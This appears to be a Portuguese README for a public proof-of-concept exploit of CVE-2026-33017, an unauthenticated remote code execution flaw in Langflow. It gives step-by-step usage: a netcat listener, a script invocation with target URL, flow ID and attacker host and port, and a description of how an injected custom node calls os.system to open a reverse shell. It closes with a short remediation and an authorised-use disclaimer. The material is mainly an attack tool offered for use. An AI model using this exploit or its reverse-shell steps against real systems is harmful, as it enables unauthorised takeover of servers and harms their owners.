
Prova de conceito em Python para CVE-2026-33017, uma vulnerabilidade de execução remota de código não autenticada no Langflow. Entrega uma reverse shell via injeção maliciosa de nó de fluxo.
⚠️ AVISO: Este repositório é apenas para testes de segurança autorizados e fins educacionais. Use apenas em sistemas que você possui ou tem permissão explícita para testar. O autor não se responsabiliza por qualquer uso indevido ou danos causados por esta ferramenta.
CVE-2026-33017 é uma vulnerabilidade de execução remota de código não autenticada no Langflow, um framework visual para construir aplicações LangChain.
O endpoint POST /api/v1/build_public_tmp/{flow_id}/flow permite construir fluxos públicos sem autenticação. Quando o parâmetro opcional data é fornecido, o endpoint utiliza dados de fluxo controlados pelo atacante (contendo código Python arbitrário nas definições de nós) em vez dos dados de fluxo armazenados no banco de dados. Esse código é passado para exec() sem qualquer sandbox, resultando em execução remota de código não autenticada.
client_id (qualquer valor de string arbitrário)git clone https://github.com/<your-username>/CVE-2026-33017.git
cd CVE-2026-33017
pip install requests
Na sua máquina atacante, inicie um listener netcat para capturar a reverse shell:
nc -lvnp 4444
python3 CVE-2026-33017.py --url http://target:7860 --flow-id <UUID> --lhost <YOUR_IP> --lport 4444
| Argumento | Obrigatório | Descrição |
|---|---|---|
--url | Sim | URL alvo (ex.: http://localhost:7860) |
--flow-id | Sim | UUID do fluxo público |
--lhost | Sim | Seu endereço IP do listener |
--lport | Sim | Sua porta do listener |
--timeout | Não | Timeout da requisição em segundos (padrão: 15) |
# Terminal 1: Iniciar listener
nc -lvnp 4444
# Terminal 2: Disparar exploit
python3 CVE-2026-33017.py \
--url http://192.168.1.100:7860 \
--flow-id 550e8400-e29b-41d4-a716-446655440000 \
--lhost 10.0.0.5 \
--lport 4444
craft_malicious_node() — Constrói um nó Langflow malicioso contendo um CustomComponent com código Python controlado pelo atacante. O código inclui uma chamada de nível superior os.system() que é executada durante a construção do grafo (antes mesmo do fluxo "executar").
fire_payload() — Envia o nó malicioso como JSON para o endpoint não autenticado build_public_tmp com um cookie client_id aleatório.
Execução de Código — O servidor analisa os dados de fluxo fornecidos pelo atacante, instancia o componente personalizado e chama exec() no código embutido durante prepare_global_scope(). A atribuição de nível superior _r = __import__('os').system(...) aciona a execução do comando imediatamente.
Reverse Shell — O payload gera uma reverse shell em Python que se conecta de volta ao seu listener.
O endpoint build_public_tmp é projetado para ser não autenticado (para fluxos públicos), mas ele aceita incorretamente dados de fluxo fornecidos pelo atacante através do parâmetro data. Quando data é fornecido, ele ignora os dados de fluxo armazenados e passa nós controlados pelo atacante diretamente para o construtor de grafo.
Remova o parâmetro data de build_public_tmp. Fluxos públicos devem executar apenas seus dados de fluxo armazenados no banco de dados, nunca dados fornecidos pelo atacante.
Este projeto é fornecido apenas para fins educacionais e de testes de segurança autorizados.